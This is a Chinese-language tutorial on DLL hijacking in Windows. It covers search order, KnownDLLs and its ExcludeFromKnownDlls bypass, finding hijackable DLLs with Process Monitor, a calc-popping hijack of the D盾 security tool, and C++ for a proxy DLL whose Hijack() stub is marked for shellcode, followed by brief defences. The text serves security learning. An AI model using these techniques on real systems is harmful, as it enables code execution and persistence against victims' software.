DLL劫持學習及復現
0x01 dll簡介
在Windows系統中,為了節省內存和實現代碼重用,微軟在Windows操作系統中實現了一種共享函數庫的方式。這就是DLL(Dynamic Link Library),即動態鏈接庫,這種庫包含了可由多個程序同時使用的代碼和數據。
每個DLL都有一個入口函數(DLLMain),系統在特定環境下會調用DLLMain。在下面的事件發生時就會調用dll的入口函數:
- 1.進程裝載DLL。
- 2.進程卸載DLL。
- 3.DLL在被裝載之後創建了新線程。
- 4.DLL在被裝載之後一個線程被終止了。
另外,每個DLL文件中都包含有一個導出函數表也叫輸出表(存在於PE的.edata節中)。使用一些PE文件查看工具如LoadPE,就可以查看導出函數的符號名即函數名稱和函數在導出函數表中的標識號。
應用程序導入函數與DLL文件中的導出函數進行鏈接有兩種方式:隱式鏈接(load-time dynamic linking)也叫靜態調用和顯式鏈接(run-time dynamic linking)也叫動態調用。隱式鏈接方式一般用於開發和調試,而顯式鏈接方式就是我們常見的使用LoadLibary或者LoadLibraryEx函數(註:涉及到模塊加載的函數有很多)來加載DLL去調用相應的導出函數。調用LoadLibrary或者LoadLibraryEx函數時可以使用DLL的相對路徑也可以使用絕對路徑,
dll路徑搜索規則
但是很多情況下,開發人員都是使用了相對路徑來進行DLL的加載。那麼,在這種情況下,Windows系統會按照特定的順序去搜索一些目錄,來確定DLL的完整路徑。關於動態鏈接庫的搜索順序的更多詳細資料請參閱MSDN。根據MSDN文檔的約定,在使用了DLL的相對路徑
調用LoadLibrary函數時,系統會依次從下面幾個位置去查找所需要調用的DLL文件。
- 1.程序所在目錄。
- 2.加載 DLL 時所在的當前目錄。
- 3.系統目錄即 SYSTEM32 目錄。
- 4.16位系統目錄即 SYSTEM 目錄。
- 5.Windows目錄。
- 6.PATH環境變量中列出的目錄
微軟為了防止DLL劫持漏洞的產生,在XP SP2之後,添加了一個SafeDllSearchMode的註冊表屬性。註冊表路徑如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
當SafeDllSearchMode的值設置為1,即安全DLL搜索模式開啟時,查找DLL的目錄順序如下: - 1.程序所在目錄
- 2.系統目錄即 SYSTEM32 目錄。
- 3.16位系統目錄即 SYSTEM 目錄。
- 4.Windows目錄。
- 5.加載 DLL 時所在的當前目錄。
- 6.PATH環境變量中列出的目錄。
在win7以上版本
微軟為了更進一步的防禦系統的DLL被劫持,將一些容易被劫持的系統DLL寫進了一個註冊表項中,那麼凡是此項下的DLL文件就會被禁止從EXE自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用。註冊表路徑如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
以前經常使用的一些劫持DLL已經被加入了KnownDLLs註冊表項,這就意味着使用諸如usp10.dll,lpk.dll,ws2_32.dll去進行DLL劫持已經失效了。
所以在win7及以上當啟用了SafeDllSearchMode搜索順序如下
- 1.應用程序所在目錄。
- 2.系統目錄SYSTEM32 目錄。
- 3.16位系統目錄。沒有獲取該目錄路徑的函數,但會對其進行搜索。
- 4.Windows目錄。使用GetWindowsDirectory函數獲取此目錄的路徑。
- 5.當前目錄
- 6.環境變量PATH中所有目錄。需要注意的是,這裡不包括App Paths註冊表項指定的應用程序路徑。
Windows操作系統通過「DLL路徑搜索目錄順序」和「KnownDLLs註冊表項」的機制來確定應用程序所要調用的DLL的路徑,之後,應用程序就將DLL載入了自己的內存空間,執行相應的函數功能。
不過,微軟又莫名其妙的允許用戶在上述註冊表路徑中添加「ExcludeFromKnownDlls」註冊表項,排除一些被「KnownDLLs註冊表項」機制保護的DLL。也就是說,只要在「ExcludeFromKnownDlls」註冊表項中添加你想劫持的DLL名稱就可以對該DLL進行劫持,不過修改之後需要重新啟動電腦才能生效。
在上述描述加載DLL的整個過程中,DLL劫持漏洞就是在系統進行安裝「DLL路徑搜索目錄順序」搜索DLL的時候發生的。
無論安全DLL搜索模式是否開啟,系統總是首先會從應用程序(程序安裝目錄)所在目錄加載DLL,如果沒有找到就按照上面的順序依次進行搜索。那麼,利用這個特性,攻擊者就可以偽造一個相同名稱的dll,只要這個dll不在KnownDLLs註冊表項中,我們就可以對該dll進行劫持測試。
鍵值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win10的如下
0x02 尋找可劫持dll
有很多軟件可以查看exe加載的dll
process-explorer
//docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
火絨劍
Process Monitor
//docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
使用的時候可以設置Filter,填入過濾條件,可以幫助排除很多無用的信息
Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys
Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys
類似下圖這種就是該dll在KnownDLLs註冊表項里
0x03 劫持測試
這裡用D盾進行劫持實驗
還是先使用Process Explorer
可以將這些dll文件與KnownDLLs註冊表項里的dll進行比較,找出不在範圍內的dll進行劫持測試
當然這裡也有偷懶的方法,批量自動化測試
這裡ctrl+s可以直接保存獲取的信息文本,然後再通過正則來提取路徑信息,再放到批量驗證工具里
存在的話就會直接輸出結果
不存在就會顯示no
上面顯示存在兩個dll可能可以劫持
這裡直接放一個彈計算器的dll改成WINSTA.dll放到D盾目錄下,再運行D盾,成功彈出。
0x04 進階測試
但是這種方法只劫持了加載計算機的函數,原來dll還有很多其他的導出函數,這樣直接劫持可能會導致程序無法正常啟動。
所以一般會製作一個相同名稱,相同導出函數表的一個「假」DLL,並將每個導出函數轉向到「真」DLL。將這個「假」DLL放到程序的目錄下,當程序調用DLL中的函數時就會首先加載「假」DLL,在「假」DLL中攻擊者已經加入了惡意代碼,這時這些惡意代碼就會被執行,之後,「假」DLL再將DLL調用流程轉向「真」DLL,以免影響程序的正常執行。
這裡我們製作一個彈窗的dll來進行測試,
1.首先使用VS2019新建一個DLL項目
2.在生成的dllmain.cpp下添加
void msg() {
MessageBox(0, L"Dll-1 load succeed!", L"Good", 0);
}
3.然後再在頭文件下的framework.h文件內添加下面代碼來編譯導出dll文件
#pragma once
#define WIN32_LEAN_AND_MEAN // 從 Windows 頭文件中排除極少使用的內容
// Windows 頭文件
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);
然後編譯生成Dll1.dll
再新建一個C++項目,填入如下代碼
#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
// 定義一個函數類DLLFUNC
typedef void(*DLLFUNC)(void);
DLLFUNC GetDllfunc = NULL;
// 指定動態加載dll庫
HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要加載的DLL
if (hinst != NULL) {
// 獲取函數位置
GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函數名
}
if (GetDllfunc != NULL) {
//運行msg函數
(*GetDllfunc)();
}
}
想了解dll編寫細節的可以看這裡
再次生成解決方案,然後將之前生成的Dll1.dll放到生成的Meg.exe同目錄下,運行Meg.exe
成功彈窗
這裡我們用之前轉發劫持dll的思路,來試驗一下
這裡我用腳本一鍵生成用來劫持的dll
這是默認生成的
# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
FARPROC Hijack_msg;
}
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = {0};
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("Dll1"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace DLLHijacker;
VOID Hijack() //default open a calc.//添加自己的代碼
{
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
Hijack_msg = GetAddress("msg");
Hijack();
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
在編譯生成新的dll前要注意在代碼這一行,將Dll1改為Dll2.dll
lstrcpy(tzPath, TEXT("Dll2.dll"));
然後在代碼這一行添加彈窗或者執行shellcode
VOID Hijack() //default open a calc.
{
MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
}
然後編譯生成
再將我們之前生成的Dll1.dll改為Dll2.dll,將兩個Dll和Meg.exe放在同一個目錄下
運行Meg.exe這時候應該會有兩個彈窗
可以看到是先劫持DLL添加的彈窗,再彈出DLL原本的彈窗
0x05 防禦
通用免疫方案:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs]在此註冊表項下定義一個「已知DLL名稱」,那麼凡是此項下的DLL文件就會被禁止從EXE自身目錄下調用,而只能從系統目錄,也就是system32目錄下調用。據此可以寫一個簡單的DLL劫持免疫器
或者可以在加載dll是檢測MD5和大小,來防禦.